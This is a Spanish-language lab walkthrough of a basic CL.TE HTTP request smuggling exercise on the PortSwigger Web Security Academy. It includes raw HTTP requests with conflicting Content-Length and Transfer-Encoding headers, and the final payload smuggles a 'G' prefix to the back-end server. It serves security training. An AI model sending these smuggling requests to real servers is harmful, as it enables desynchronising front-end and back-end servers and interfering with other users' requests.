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# Vulnerabilidad básica CL.TE
### HTTP Request Smuggling, vulnerabilidad básica CL.TE
En este laboratorio, la infraestructura consta de un servidor frontal y un servidor de back-end. El servidor frontal **no admite codificación fragmentada** y **rechaza cualquier solicitud que no use GET o POST** métodos.
El objetivo es **introducir de contrabando una solicitud al back-end** servidor para que **la siguiente solicitud interpretada por el servidor parezca usar el `GPOST`** método.
> Nota:/ " Aunque el laboratorio acepte HTTP/2, la técnica necesaria se basa exclusivamente en HTTP/1. El protocolo debe cambiarse manualmente en Burp Repeater mediante la sección Request attributes del Inspector.
> Consejo:/ Gestionar manualmente las longitudes en un ataque de request smuggling puede ser complejo. La extensión de Burp HTTP Request Smuggler, disponible en el BApp Store, puede facilitar esta tarea.
#### \*\* Ejemplo válido observado\*\*
La siguiente solicitud fue aceptada:
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Transfer-Encoding: chunked
3
abc
0
```
#### **Error al cambiar el tamaño final**
Si el `0` el carácter final se reemplaza por un carácter no válido (por ejemplo, `X`), el servidor informa de un error:
```
3
abc
X
```
#### **Añadir el carácter final para inyectar `G`**
Al colocar un `G` después del fragmento final, puedes preparar la solicitud introducida de contrabando para el back-end:
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
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